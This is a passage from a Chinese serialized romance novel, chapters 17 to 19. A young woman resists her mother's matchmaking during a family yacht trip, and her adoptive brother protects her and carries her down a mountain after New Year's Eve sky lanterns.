“等一下。”谢昱宁阻止袁姨的动作,他转头看向钟妈,“妈,悦儿不喜欢喝牛奶,让她喝豆浆吧。” 钟妈上挑的眸子有些晦暗,片刻,她淡淡垂下眼皮,应了声。 袁姨明白其中含义,没再多说话,继续回厨房忙碌了。 钟卿悦嚼着玉米,喝一口甜甜的豆浆。 等等……甜的,如果没记错的话,谢昱宁喜欢喝原味的豆浆。 那这杯,她抱着杯子盯着里面乳白色液体,明白了,这杯本来就是准备给她的。 她抿唇偷偷一笑,却没察觉坐在她对面的钟妈,已经将一切纳入眼底。 吃过饭,钟卿悦换了身衣服,又化了淡妆,准备出门赴约。 走出卧室门,刚到楼梯口就遇到恰好上楼的谢昱宁。 谢昱宁看一眼她的穿搭,问道:“出门?” 钟卿悦点点头。 “我送你?” “不用啦,贺文杉约我去印象步行街,那边坐地铁过去更方便。” 谢昱宁应了声,没再多言,“注意安全。” “知道啦。”钟卿悦乖巧应下,脚步轻巧地走下楼梯。 谢昱宁看着视线中的背影消失,才走向书房。 — 钟卿悦从地铁口出来,直奔遇见你狗狗咖啡厅。 到了门口,贺文杉还没来,钟卿悦走到一侧的落地窗前,隔着玻璃往里看去。 偌大温馨的店铺,许多狗狗趴在地毯上懒懒晒着太阳,偶尔抬起头,任由客人抚摸脑袋。 这家店从初中时他们便总来,但因为钟卿悦对宠物毛发过敏,所以每次都是在门口看一会儿,也不敢待太久。 钟卿悦往上拉了拉围巾遮住口鼻,小心翼翼蹲下身,紧接着,一只距离玻璃比较近的金毛迈着慵懒步伐走了过来。 钟卿悦杏眸放光,伸手点着玻璃,金毛立刻伸出舌头舔舐玻璃,只是短短几下,它似乎察觉到口感不对,后退两步瞧着,眼珠转了两圈,很快意识到问题所在。 它再次走上前,没有伸舌头,而是蜷缩下脑袋,用耳朵去蹭钟卿悦的指尖,像是招揽客人般,邀请她进店和它一起玩耍。 钟卿悦心都要被它萌化了,恨不得立刻钻进去抱着它大rua特rua。 就在防线快要被击溃之时,身后传来贺文杉的声音,“悦姐。” 钟卿悦起身回望,只见贺文杉小跑而来,待他靠近,钟卿悦发现他脸色特别差,神情憔悴,像是几天几夜都没合眼一般,眼底都是乌青色。 贺文杉意识到她的目光,挠着头笑了笑,“不帅了吧?” “没,还是很帅。但是你怎么了?” 贺文杉没有立刻接话,抬手指了指步行街远处,“你在这待很久了吧,我们往那边走吧。” 钟卿悦点点头,两人并肩离开狗狗咖啡厅。 玻璃窗里的金毛看着目标客人离开,摇着尾巴又去招揽其他人。 冬天的步行街门庭冷落,不似夏季熙来攘往的行人。两人沉默走着,一言不发。 半晌,贺文杉抬起头,看了眼天空,有些惆怅,“悦姐,我过了年就要出国了。” 钟卿悦一愣,“出国?” “我爸让我去澳洲留学。” “怎么这么突然?” 贺文杉摇了摇头,唇边的笑容苦涩,“不知道,上次从故城回来后他就开始安排出国事宜,他觉得我在国内不听话,老让他操心。” 钟卿悦默默点点头。她在贺文杉身上感受到曾经自己被钟妈掌控多年的那种压抑窒息感,但她不知道该不该劝他反抗。 只是犹豫了一瞬,她便咽下嘴?*? 边的话。其实他应该抵抗了吧,她所了解的贺文杉本身就不是任人摆布的性格,但他如今屈服,打算出国,一定有能劝慰他的理由。 而且,如果当下无法解决的事情,提出来只会徒增他的困扰。 她笑了笑,安慰地拍拍他的肩膀,“出国也挺不赖的,学有所成回来帮你爸。” 贺文杉瞥了眼肩头的手,又垂下头,“嗯,我就是有点舍不得…舍不得你们。” “嗐。”钟卿悦大咧咧挥挥手,“又不是不回来了,假期照样见面。” “好。”他顿了顿,也笑了起来,“你可等我回来啊悦姐。” “放心吧,好好学。别让我看不起你啊。” “绝不给咱团队丢人。”贺文杉一扬下巴,“走,咱俩去买奶茶。” — 贺文杉的事情让钟卿悦联想到很多,隐隐也会担忧钟妈是否去强迫她出国留学。 然而,当天晚上所发生的事情超出了她的认知。 晚餐时,她没有在餐桌上看到熟悉的牛奶,而是袁姨询问她的喜好,为她准备了蜂蜜水。 吃过饭她偷偷问袁姨,袁姨悄悄告诉她,是钟妈允准的,以后她可以不用喝牛奶了。 一瞬间钟卿悦以为自己听力出现了问题,她反抗这么多年都无果,就靠谢昱宁一句话就解决了? 袁姨看出她的不敢置信,凑到她身侧低声道:“少爷还是第一次反驳太太,而且太太虽然不说,但我能看出她这半年还是惦记你,也给太太点时间,让她慢慢转变。” 钟卿悦点了点头,已经很好了,最起码在往好的方向发展。 从厨房出来,她直接回了卧室,刚懒散地躺到床上,门突然被轻轻叩响,接着传来钟妈清淡的声音,“悦儿,方便吗?” 钟卿悦猛然从床上坐起来,什么情况? 她起身穿上拖鞋,仓皇应声,“方便。” “那我进来了。” 话音落,沉了几秒,门缓缓打开,钟妈淡笑着走近,手中端着小巧的果盘。 “冬天没什么新鲜的应季水果。”钟妈将果盘放在茶几上,微微一笑。 钟卿悦不知她葫芦里卖的什么药,毕竟从争吵后,这是钟妈第一次主动跟她说话。 她附和地扬扬唇角,“谢谢妈妈。” “我可以和你聊聊吗?” 钟卿悦心一下子提到嗓子眼,这似乎是钟妈的惯用开场,区别在于现在相对更礼貌一些。 她吞了下口水,点点头。 钟妈侧身坐到单人沙发上,钟卿悦随着坐到她对过,等待突然降临的审判。 钟妈垂下眸子没看她,沉默一瞬才说道:“我是来给你道歉的。” 道歉?! 这话一说出来,直接刷新钟卿悦的认知,她可从来没在钟妈口中听到过道歉两个字,何况还是向她道歉。 钟妈:“之前打了你,是在气头上太冲动了。这段时间我在反思,我以前太过独断专行,从来没考虑过你的感受,也从不询问你的意见,希望你能原谅我之前做的事。” 一贯强势的钟妈居然会有一天承认自己的问题,想到这钟卿悦已经起了一身鸡皮疙瘩。 钟妈自顾自继续说道:“以后我不会再像之前那样过多干涉你的选择,我会尊重你。我们可以像朋友一样相处,我会去多了解你的内心,但不会再掌控你的人生。你也可以跟我分享你的想法,像共同探讨答案一样商量。” 话说完,钟妈便一直沉默不言了。 钟卿悦用了很长时间去消化这两段话,揉碎了反复思索,怎么都觉得温柔中透露着怪异。 她无法想象专横武断多年的钟妈会在一朝一夕间产生如此大的变化,这已经不是对不对了,是根本就不合理。 钟妈没有催促她答复什么,一直安静坐着。 两人的位置仿佛大调转,钟妈是那个等待审判的人,而她手握决定命运的锤子。 片刻后,钟卿悦没再继续思索,因为她发现找不到答案,现在露出的线头根本无法理清。 “好!”她深吸一口气,做了决定,“那我们重新认识一下,我的妈妈。” 钟妈抬头,唇角微微勾起,笑容清淡,“好的,请多多包容,我也是第一次当妈妈。” “好呀。”钟卿悦笑眯眯地叉了块苹果递到钟妈面前,“你尝尝?” 钟妈就着她的手咬下苹果,清脆甘甜。 那天钟妈和她聊了很久,关于她的大学生活,关于小时候的梦想,关于她不喜欢钢琴,更喜欢爵士舞。 — 假期的时间总是过得飞快,还未察觉,脚步就已经迈进腊月二十,家里年味儿越来越重,目所能及的地方都贴上了鲜艳的福字和对联。 钟爸童趣大发,亲力亲为地把院子所有的树上都挂了彩灯,夜幕降临像银河坠入,留下绚烂的尾巴。 钟卿悦最近在打通关游戏,后期的boss一个比一个变/态,她鏖战几天都会在最后一个阶段被秒。 她一怒之下,怒了一下,抱着计算机求助谢昱宁。 于是,料峭寒冬,北风刺骨,客厅内两人如火如荼,大汗淋漓。 谢昱宁坐在地毯上,笔记本放在腿上,目光聚精会神地盯着屏幕,修长瘦削的指尖按动着键盘,因用力手背还隐隐凸起淡青色血管。 钟卿悦坐在他身侧,脑袋倚着他的肩膀,眼睛恨不得长到屏幕里,手心急得直冒汗,再过不了她就要卸除游戏了!! 眼看着boss血量掉到15%,进入最终阶段,boss会发动致命一击技能,带着强控,如果人物闪避不及会直接被秒。应对方法说起来很简单,只需要闪避后使用三技能打断boss技能即可。 但钟卿悦每到这个时候就反应不过来,不是闪避没打断成就是连闪避都没按出来直接被秒。后来有了心理阴影,一到最后阶段就紧张。 视线中,boss扬起锤子开始蓄力,致命一击的读条飞速读取。 她紧张地提起气,指挥着谢昱宁,“闪避闪避,打断打断。” 话刚出口,boss的锤子便突然落下,与此同时,谢昱宁操控人物迅速靠左闪避,跳出落地的瞬间,三技能挥手放出,直直落在boss身上,致命一击被打断。 “啊啊啊啊!!!!!”钟卿悦一阵欢呼,“过了过了,太不容易了呜呜呜。” 谢昱宁偏头扬起唇角,在看到她开心的表情后脸上笑意更深。 钟卿悦撇撇嘴,“怎么说嘛,你打游戏的天赋只比我强一丢丢吧。” “一丢丢?”谢昱宁挑眉反问。 “可不呗。”钟卿悦眯起眼靠近他,神秘兮兮道,“就是一丢丢,勉强算比我厉害。” 说话间,boss应声落地,庞然大物砸到地面,尸体上放射出金光。 谢昱宁懒懒往沙发上一靠,“那你怎么打了好几天都过不了呢?” 钟卿悦瞪他一眼,抱起计算机放在自己腿上,“怎么还揭伤疤呢!” 谢昱宁双手抱胸,懒懒歪头笑着,“怎么样?出了什么?” 钟卿悦凑到屏幕前仔细看着,半晌,道:“哥,你还挺红嘛,出了件不错的装备。” “怎么谢我?” “谢……”钟卿悦托着下巴,眼睛一转,“卸胳膊还是卸腿,你选。” 说罢,她突然想到什么鬼点子,笑得不可抑制,指尖去点他的脸,“要不卸脑袋。” 谢昱宁无奈,眉梢上挑,伸手去点她的头,“那我们一块卸了吧。” “你太暴力了!”钟卿悦笑着去躲他的手,似乎生怕他真要带她一起卸脑袋。 笑闹间计算机顺着她腿滑到地毯上,她根本顾不上,起身跳着躲开,“我才不跟你一起。” 兄妹俩闹得欢,钟妈站在二楼盯着这一幕陷入沉思。 钟爸从书房出来就见她在发呆,好奇走到她身边,随着她视线看过去,没看到什么,只看到谢昱宁在喝水,钟卿悦在打游戏。 “咋啦?小诗。” 钟妈收回思绪,抿唇笑了笑,“没什么,不是想去海钓?问问孩子们愿不愿意去。” “哦对。”说着,钟爸急匆匆下楼。 到了客厅,他热情高涨,“孩子们,我们去海钓吧!” 钟卿悦抬头看他一眼,没意见,钟爸和谢昱宁两个人一直都喜欢海钓,她跟着去就是看风景的。 谢昱宁应道:“爸,您想去哪?” “老地方,碧海?”钟爸顿了顿,“我这次喊了两个老朋友,老叶跟老纪,他俩技术没我好,我还能显摆显摆。你也长期在国内了,正好和他们认识认识。” 钟卿悦撇撇嘴,她不太喜欢以家庭为单位的社交,能说不去吗……? 她刚想开口询问,钟爸已经料到她要说的话,“不参与聚会的人不合群啊,严重指责。” 钟卿悦无奈耸耸肩,“好好好。” 商定后的第三天,一家人便启程飞往碧海岛。 碧海岛处在北半球南端,此刻正是温暖如春的好时节,阳光明媚而不炙热。岛上环境幽静,远离城市喧嚣,到处都是如画的美景。 落地当天入住别墅,第二天一早才开车前往码头。 钟爸为了海钓专门购买了海钓游艇,改造的极其豪华,顶层露天甲板上有休闲座椅和娱乐设施,主甲板设置了10个海钓位置,中层客舱位置有会客厅、餐厅,二楼则是休息室。下层甲板位置除了存放设备,还专门开了泳池,透明底部的那种,能在游泳时看到海下的风景。 穿上配有6名船长,还有不同菜系的大厨,吃喝玩乐一应俱全。 上午九点,所有人登船,船启航,驶向一望无际的大海。 钟家是他们一家四口,纪家只来了纪先生和纪太太,叶家除了叶先生和叶太太,他们的儿子叶承扬也来了。 会客厅内,钟爸拉着谢昱宁和好友们打麻将,钟妈则和几位太太在餐厅喝茶。 钟卿悦去甲板上溜了一圈,奈何今天天气极好,阳光过于刺眼,晒得有些热,她转身又回了会客厅,而此时钟妈也恰好出来找她,看到她后,道:“悦儿,来吃蛋糕。” 钟卿悦应了声,脱下防晒衣跟了上去。 走进餐厅,长桌前坐着的三位太太正在闲聊。 出乎意料的是叶太太的儿子叶承扬也在,他坐在叶太太身边,安静听着三人对话。 见钟卿悦来,纪太太便转言道:“悦儿真漂亮啊,感觉才几年时间就从可爱的小姑娘出落得亭亭玉立了。” “就是呀,你看我们悦儿皮肤多水嫩,身材也好,个子又高。”叶太太附和道。 钟卿悦抿唇笑了笑,“谢谢纪阿姨、叶阿姨。” 叶太太招招手,“来,悦儿。” 待钟卿悦走近,坐到钟妈身边时,叶太太才拍了拍身边的叶承扬,“这是我儿子,叶承扬,你们认识一下。” 【📢作者有话说】 宝宝们,入v啦!开启日更状态,每晚23:00更新! 请喜欢的宝宝支持我一下吧[亲亲][亲亲][亲亲] 呜呜呜还有,撒泼打滚求评论[爆哭]都理理我 18 第 18 章 ◎除夕夜◎ 直到这一刻, 钟卿悦才明白钟妈突如其来的示好背后到底蕴藏着什么。 “你好,我叫叶承扬。” 钟卿悦抬眸看向桌子对面的人,叶承扬穿着一身休闲装, 外形俊朗, 高挺的鼻梁上架着一副银框窄边眼镜, 镜片后的眸子温和含笑, 看上去是一个很温和的人。 她微微点头回应, “你好,钟卿悦。” 钟妈视线不着痕迹地掠过两人,淡淡道:“你们加一下联系方式,假期也都有时间,出去聚一聚玩一玩也有伴。” 钟卿悦没接话,叶承扬先一步拿起手机, 礼貌道:“我扫你吧。” 身边有三双眼睛都在盯着她,即便她讨厌钟妈的做法也不能当着众人的面驳了她。 钟卿悦压下烦躁的情绪,拿起手机将二维码递到叶承扬面前。 扫码添加后, 叶承扬低着头打字, 声线温柔道:“这是我的名字,方便你备注。” 钟卿悦点头的同时手机已经震动,她看了一眼, 把自己的名字也发了过去。 叶太太抿了口茶,笑眯眯道:“我记得阿扬生日跟悦儿生日很近呢。” 钟妈:“是啊,悦儿是4月10号。” “对对对, 我就记得。”叶太太细细思索着,“你当时生了悦儿时我去医院看你, 你还说要给阿扬买生日礼物呢。” 钟妈诧异, “你记性可真好, 我都记不得这些了。” 纪太太此时搭话道:“生日近肯定性格也相似,阿扬细心,悦儿也温温柔柔的。” 钟妈佯装无奈地叹口气,“悦儿从小被我们宠着,有点儿小孩子心性。” 叶太太:“这才对嘛。女孩子就要当公主宠着,而且悦儿年纪小,正是爱玩的时候。” 钟卿悦垂眸听着,这场海钓聚会从一开始目的就不单纯,而钟妈的道歉不过是先缓和与她的关系,好让她在此刻如鲠在喉,无法发作。 “悦儿?” 叶太太的轻唤打断她的思绪,她疑惑地抬起头,就听叶太太说道:“你平时都有什么爱好?” 钟卿悦刚要开口回答,身后的却发出一声清脆的声音,众人循声望去,谢昱宁推门走进餐厅,“妈,阿姨们,到峡湾了,可以开始海钓了。” 钟妈点头应声。 谢昱宁顿了顿,看向钟卿悦,薄唇轻启,“悦儿,爸说他的墨镜在你包里,你帮他拿一下。” 钟卿悦微怔,接着立刻明白他是来解救她的,“好,我去拿。” 起身和几人礼貌道别,她火速跟在谢昱宁身后离开餐厅。 关上餐厅门,她长舒一口气,“哥,谢谢你又救了我。” 谢昱宁偏头看她一眼,“你加了?” 钟卿悦皮笑肉不笑地耸耸肩,“加了,但真的很莫名其妙。” 两人一边往会客厅走,钟卿悦一边吐槽,“给我介绍干嘛?准备催婚吗?” “高中时候我跟异性同学一块出去玩都得盘问我好几天,刚上大学就按捺不住了。” 谢昱宁偏头看她,认真道:“不喜欢可以不用接触。” 钟卿悦愣了一下,点点头,“我知道,我会让自己开心的。” 说话间,已经走进会客厅,偌大的房间空空如也,那三位老小孩已经跑到甲板上去海钓了。 谢昱宁从包里拿出她的遮阳帽和墨镜,又为她选了钓竿。 此时钟妈和几位太太也从餐厅过来了,钟妈看到钟卿悦,便喊了一声,“悦儿,你先来帮我们拍几张照片好吗?” 钟卿悦顿了顿,把钓竿又递给谢昱宁,道:“哥,你等我一下。” 随着钟妈几人出了船舱,走到甲板前端。 入眼,一望无际的海面湛蓝如镜,阳光照在海面,投射出波光粼粼的景象,仿佛无数颗钻石落入海中。 钟妈和叶太太、纪太太站在护栏前,身体紧靠着,摆出十分亲密的动作,拍了几张,她们又单独摆姿势拍。 钟卿悦忙前忙后的又是指导动作又是选角度,好在拍完后她们都十分满意。 叶太太道:“悦儿,你也拍两张吧?” “我不拍了。”钟卿悦摆手婉拒。 叶太太好似没听到似的,招呼着远处在海钓的叶承扬,“阿扬,来。” 钟卿悦听到她喊的人就觉得要坏事。 果然,叶承扬走过来后,叶太太看着钟卿悦道:“阿扬学过摄影,拍得很不错。” 说罢,她拍拍叶承扬,“帮悦儿拍几张照片。” 钟卿悦听得头皮发麻,这人怎么好似听不懂话似的。 她抿紧唇,脸色不太好,但语气还算礼貌,“不用了,谢谢叶阿姨。” 叶承扬目光落在她脸上,镜片后的眸子弯了弯,“那边有鱼群,钟叔他们打了窝,我们过去钓鱼吧。” 他的解围恰到好处,钟卿悦不好再说什么,点头应了声。 刚走到甲板一侧,就听到钟爸爽朗一笑,“哎呦,上钩了,大鱼啊!” 只见钟爸手中的钓竿被拉得弯曲下去,渔线紧绷着不断颤抖,能清晰看出下面对抗的力道极大。 钟爸牢牢握着钓竿,根本无法腾出手去转动渔轮。 见状,谢昱宁立刻走上前帮忙,单手握住他的手腕,另一只手匀速转动渔轮。 他用得力极大,能看到他指骨关节泛起白色,小臂上的肌肉紧绷,凸起交错的血管。 渔轮转动了数圈,很快一条大鱼浮出水面,它身体扭动着,似乎还想尝试脱钩,但已无力回天。 叶先生:“老钟,你牛啊,这鱼真大!” 钟爸得意地扬扬下巴,“我说我技术不赖吧。” 谢昱宁提着渔线,捏住鱼的腮盖,将摘钩器伸进鱼嘴里,很快取出了鱼钩。 他偏头,看到钟卿悦和叶承扬并肩站在不远处,他眸光沉了沉,扫过叶承扬的脸,继而看向钟卿悦,“悦儿,帮我拿一下水桶。” 钟卿悦应声,立刻提着不远处的水桶朝他跑去。 大鱼扔进水桶里,又肆意游动起来。 钟卿悦:“真的好大一条鱼。” “可以让厨房直接做鱼汤。”谢昱宁道。 钟卿悦凑到水桶旁看一眼,大鱼此刻悠闲扭动身体,丝毫不知危险已经降临。 她眯起眼,“那我送它走吧?” 谢昱宁淡淡看着她,唇角微微勾起,“嗯,去吧。” 她嘿嘿一笑,抱起水桶就往船舱走去。 下了一层楼梯到达厨房,刚进门就闻到一股浓郁的肉香,她深吸一口气,凑到灶前一看,居然是在烤肉。 厨师看到她,笑道:“可以尝一尝。” 她确实有点心动。把水桶交给厨师,洗了手,她用紫苏叶包了一块牛肉。 入口外酥里嫩,夹杂着浓郁的孜然和辣椒香,紫苏叶又能中和掉烤肉的腻感。 她一连吃了好几块才心满意足。 品尝完,她又包了一个,捏着就往甲板上走,她一定要分享给谢昱宁! 走到甲板上,回到刚才左侧海钓区,只有钟爸他们几人,却没见谢昱宁身影。 她蹙眉又往另一侧走去,看到谢昱宁和叶承扬正在右侧海钓。 她走到谢昱宁身边,将手中的烤肉像献宝似的递到谢昱宁唇边,“哥,你快尝尝,真的好好吃。” 谢昱宁连看都没看,手里握着钓竿,俯身就着她的手直接开口咬住。 “你不知道是什么就吃呀?” 谢昱宁嚼着口中的烤肉,挑眉看她一眼,似乎在问她难道有猫腻? 她捂着嘴嘿嘿一笑,“你吃了拉肚子可不怪我。” 谢昱宁咽下口中的食物,淡淡开口,“那你等着赔偿吧。” “副卡转钱到主卡可以吗?我的额度还挺高的,五百万够吗?”钟卿悦歪头看他,“无效的话我可以把新学期的作业赔给你。” “那我会把最新的研发成果填上去。”谢昱宁顿了顿,“商周时期出现人工智能,老师都得夸你有才华。” 钟卿悦鼓起脸,“你怎么这样!” 两人拌着嘴的功夫,叶承扬手中的钓竿又晃动起来,又有倒霉的鱼上钩了。 叶承扬有些吃力地握着钓竿,单手转动渔轮,渔线缓慢收回。 钟卿悦趴在护栏上瞧了一眼,隐约能看到水下游动的鱼影。 片刻后,又是一条大鱼浮出水面,但还是不如钟爸钓得那条大。 叶承扬熟练地摘下鱼,视线去寻找水桶,却没看到。 钟卿悦随着他的目光找了一圈,也没找到,便说道:“我去那边拿吧。” 她刚迈开步子,手臂却突然被谢昱宁拉住,谢昱宁垂眸将钓竿塞进她手里,淡淡道:“我去拿。” 钟卿悦一脸茫然,但还是乖巧地应了声。 谁去拿还有说法吗? 片刻,谢昱宁提着水桶回来,冷着脸递给了叶承扬。 上午收获颇丰,光钟爸自己就钓到了四条。 船在峡湾停留到了午餐后,继而又启程往北边开去,碰运气去看能不能追到海豚的踪迹。 然而没有什么收获,临近傍晚时间,船启程返航。 之后又在碧海岛待了四天,腊月二十八一行人才返回江城。 回到家发现除了袁姨,其他保姆厨师都已经休了年假,袁姨因为孩子常年在国外,工作十分忙碌,便很少凑在一起过年。 而他们不在家的这几天,袁姨也很忙碌,按照钟爸的要求把庄园内外装点的到处都是新年气息,张灯结彩年味浓郁,又还置办了不少年货,还列出了年夜饭清单,钟卿悦看着全是自己爱吃的。 腊月二十九下午,江城突然下起雪来,一下便是大雪,洋洋洒洒如鹅毛般,转眼间就将整个城市覆盖上一层雪白。 而随着这场雪来得,还有一束花,浅紫色桔梗和铁线莲的搭配。 钟卿悦疑惑地签收,展开花束中的贺卡,看到陌生的字体——新年快乐。 顺着看下去,署名:叶承扬。 谢昱宁站在楼梯口,看着钟卿悦的表情大概就猜到了这束花的主人。 他不悦地蹙起眉,烦躁地揉了揉额角。 钟卿悦听到他走过来,没丝毫隐瞒,把贺卡递给他又把花塞到他手里,“好烦,哥,快帮我扔掉,千万别让妈看到。” 可话音刚落,钟妈就从厨房走了出来。 谢昱宁反手将贺卡塞进口袋,平静对着钟卿悦道:“别瞒妈了。” 钟妈一脸不解地走过来,“怎么了?” 钟卿悦哑口无言,无助地看向谢昱宁,这是什么操作啊?! 谢昱宁不着痕迹地瞥她一眼,又看向钟妈,道:“妈,这是悦儿买给你的花。” “买给我的?” 钟卿悦脑子转地那叫一个快,“对,本来想晚上给你,让我哥帮我藏起来呢,结果被你看到了。” 说罢,她立刻从谢昱宁手里夺过来,转手塞到钟妈怀里,“你喜欢吗?” 钟妈凑近闻了闻,打量一眼,“挺好看,还是我喜欢的紫色。就是你怎么想起来给我买花了?” 钟卿悦脑子飞速转着,面上尽量保持冷静,道:“我们不是说好重新认识一下嘛。” 钟妈点了点头,没再多问。 应付过钟妈,她长舒一口气,有种死里逃生的感觉。 晚饭后,她窝在沙发上一边赏雪一边玩手机,恰好看到江城文旅宣传的活动,明晚除夕夜将在景山举办放飞孔明灯祈福活动,底下配了好多图片,漆黑夜幕下漫天闪着微光的孔明灯带着人们对新一年美好的祈愿飞向天际。 她越看越想去,便转发给了谢昱宁。 谢昱宁此时正在书房忙,但回她消息回得很快,且简洁干脆:[明天去。] 钟卿悦心满意足,回了他一个表情包。 第二天除夕夜,下午所有人都在厨房忙碌着,天刚擦黑,餐桌上便摆了一桌子美食,钟爸喊着一块入座吃年夜饭。 他心情好又要拉着谢昱宁喝酒,没成想谢昱宁婉拒了他,“吃完饭我要和悦儿去景山。” 钟爸一听,了然点头,“是那个孔明灯活动吧?今年可火了,去吧去吧。” 说罢,他自己斟满酒,端起酒杯,道:“又是一年,今年团团圆圆,和和美美,昱宁也回国了,悦儿也读大学了,我们一家人在一起比什么都好。袁姐今年也辛苦了,里里外外照顾着,很感谢你。” 说罢,钟爸站起身,“来,新年快乐,希望大家新的一年开开心心,健健康康。” 窗外起此彼伏的鞭炮与烟花炸开,窗内暖光灯下,一家人凑在一起碰杯,杯壁碰撞发出清脆声响,这一刻的幸福感到达顶峰。 年夜饭后,钟卿悦两人出发去景山。 雪后道路难行,许多小路都没除雪,车速很慢,压在冰面还会发出咯吱声。 半个小时后,车子停到景山半山腰的停车场。 放飞活动在山顶举行,剩下的一段路需要自己爬上去,虽然不长,但都是比较陡的石阶,加之刚下过雪,有些坑坑洼洼的地方还结了冰,走起来颇为费力。景区担心发生危险,在这一路上安排了不少安全员。 他们来的时间还早,同行的人并不多,两人走走停停,一边闲聊一边看风景。 可走着走着,钟卿悦的体力就开始跟不上了,从一开始和谢昱宁并肩而行,到后来谢昱宁走在前面,她拽着他的手腕跟在后面,小心翼翼,气喘吁吁。 二十分钟后,踏上最后一层石阶,到达山顶的空旷平台。 此时平台上已经聚集了不少人,原以为他们来得早,实则是来得晚了。 朦胧灯光下,工作人员分发着孔明灯,介绍使用方法和安全守则。 钟卿悦拿到孔明灯,立刻找了一块僻静的石头墩子写心愿,谢昱宁蹲在她另一侧写,时不时看她一眼。 她谨慎地捂住,不满地瞪他,“你不能看,万一我愿望不灵了怎么办?” “我们交换?我让你看我的。”谢昱宁道。 “不要不要。”钟卿悦哼了一声,“交换就不灵了,你不准再问了。” 谢昱宁抿紧唇,应了一声。 昏暗灯光下,他握紧手中的笔,思索很久,还是写下了真实的愿望。 临近十二点,平台的喇叭响起三十秒倒计时。 钟卿悦背对谢昱宁展开孔明灯,小心翼翼点亮重心悬挂的蜡烛。 火苗跳动闪烁,微弱的光亮照着她的侧颜,阴影下的睫毛扑闪着投下倒影。 谢昱宁偏头看她,却听话的没有去看她写得愿望。 五……四……三……二……一 倒计时结束,两人同时松开手中的孔明灯,刹那间,漆黑的夜空被无数灯火点亮,孔明灯摇摇晃晃随风升空,闪动的火苗和跳动的心脏一样炙热。 钟卿悦抬头望着夜空,眼底仿佛有另一个角度的世界,温暖明亮。 “新年快乐。”谢昱宁低沉的声音响在耳畔。 钟卿悦恍然回眸,四目相对,她澄澈的眸子闪着光亮,“新年快乐。” 孔明灯越飘越远,直至和星光融为一体,无法分辨。 钟卿悦依依不舍的下山,拉着谢昱宁的胳膊,一边走一边试探他的愿望。 谢昱宁目不斜视地看着脚下的路,“说了不灵。” “已经许愿完成啦,可以说了。” “万一没有呢?” 钟卿悦撇撇嘴,注意力全在聊天上,全然没看到脚下的路,她刚要开口说话,谁知脚下一滑,鞋子踩到石阶边缘,直接顺着滑到下一层。 谢昱宁眼疾手快握住她的手腕,轻轻往怀里一带,阻止她继续往前扑去。 她大惊失色,双手紧紧抓住谢昱宁胸口的衣服,“吓…吓死我了。” 谢昱宁摸摸她的发顶,安抚道:“没事,别怕。” 她愣愣地点点头,想借着谢昱宁站稳,一动脚,却突然传来一阵刺痛,她倒吸一口冷气,“好疼。” 谢昱宁立刻蹲下身去查看,手覆在她脚踝处,微微一动,她立刻疼得嘶了一声。 “扭到了。” 谢昱宁蹙起眉,蹲在她身前,“上来,我背你下山。” 钟卿悦趴在谢昱宁背上,歪头靠着他的肩膀,“哥,我是不是老给你添麻烦。” “没有。” “真的吗?”她双手收紧牢牢圈着他的脖子,“你可不是不好意思说吧?” 谢昱宁眉角微微一抽,他能感受到钟卿悦的气息萦绕在鼻息间,而她滚烫的呼吸随着说话喷在他耳边,带着无形的痒意。 他偏开头,她却像不懂似的又收紧手臂靠了过来。 他喉结上下滚了滚,声音暗哑低沉,“钟卿悦,不准呼吸了。” “啊?”她委屈地皱起眉,“你想让我憋死吗,哥,我就说你烦我了吧。” 说话间,又是炙热的呼吸喷薄在耳边。料峭寒冬,谢昱宁背后冒出一层薄汗。 他闭了闭眼,“那别说话了。” “哦。”她乖巧地应了声,下巴抵着他的肩膀,“其实我还想说。” 谢昱宁咬咬牙,“说。” “其实我许得愿跟你有关。” 【📢作者有话说】 今天来晚了呜呜呜,希望宝宝们不要怪我[爆哭] 21号晚上暂时不更新了,22号晚上23:00更新,以后会稳定日更。 [撒花]专栏预收《心动代码》求关注,喜欢的宝宝支持一下啦,感谢感谢。 19 第 19 章 ◎保护好她◎ “是什么?” 谢昱宁声音低哑, 钟卿悦使劲伸着耳朵才听清他的话。 “可是我不知道愿望有没有被接收,万一没有,说了实现不了怎么办?” 谢昱宁:“那不说了。” “你不好奇吗?”钟卿悦歪着头去看他的侧颜。 头顶幽暗的灯光落在他脸上, 高挺的鼻梁变成明暗交界线, 他淡漠地摇了摇头, “比起好奇, 我更希望你的愿望实现。” “哥——”钟卿悦感动的要流眼泪了。 轻柔的呼吸再次喷在他颈间, 断断续续如羽毛来回扫动,他抿紧唇深吸一口气,哑声道:“安静点。” 钟卿悦不满地蹙起眉,她不理解,为什么总不让她说话。 下山的路很漫长,石阶的坡度很陡, 她靠在他肩膀上一颠一颠的,又不让说话,没一会儿竟然昏昏欲睡起来。 几分钟后, 谢昱宁耳边传来绵长的呼吸声, 他微微侧头,她的面容近在咫尺,双眸阖着, 长睫偶尔轻颤,微抿的唇瓣粉嫩柔软,那晚蹭过他脖颈时他知道的。 他强迫自己挪开视线, 继续往山下走去。 到山脚钟卿悦悠悠转醒,她打个哈欠, 咕哝了一句, “哥, 辛苦你了,我给你捏肩捶背。” 谢昱宁将她放在车座上,起身站定在她面前,“好。” 嗯??这不对吧? “你怎么就答应了?” 谢昱宁歪头,“不然呢?” “我可是病号。”说着,钟卿悦就想把受伤的脚抬到车上,谁知只是轻微移动,就疼得冒冷汗。 谢昱宁脸沉了下来,没时间再和她玩笑,关上车门,开车直奔医院。 做了X光检查,排除骨折情况,只是扭伤软组织,肿胀比较严重,需要静养。 用弹性绷带包扎了受伤部位,医生又嘱咐冰敷,避免负重行走。 回家路上钟卿悦精神萎靡,谁家新年第一天就挂彩啊!这个假期怕是没好日子过了。 从大年初一她就开始了拄拐棍的生活,别人都活蹦乱跳的,只有她一瘸一拐。 几天后,肿胀消了不少,只是还不能走路?*? 。 这天,孟辰薇和贺文杉约她去骑马,她躺在床上欲哭无泪地望着天花板,别说骑马了,她这脚下床都费劲。 她回了个表情包,没好意思说自己扭脚了,只说有点忙去不了。 刚回完,手机忽然又收到新消息,她划出聊天框一看,有些陌生的头像,备注:叶承扬。 [钟小姐,听说你受伤了?严重吗?] 钟卿悦一脸懵,他是怎么知道的?但只是静下心细细一想,就能猜到必然和钟妈有关系了。 她礼貌回复消息:[不严重,快好了。] [叶承扬:我要去拜访钟叔叔,再去看望一下你。] 钟卿悦头有点大,之前那么多年都没见过他来拜访钟爸,今年突然过来,明显是醉翁之意不在酒。 她揉了揉太阳穴,苍白无力地回了句:[只是小伤,不用看望。] 很无力,因为即使她说了也不会改变他的想法,因为这句话说出来本身就是通知的语气。 叶承扬只回了兔子微笑的表情,。 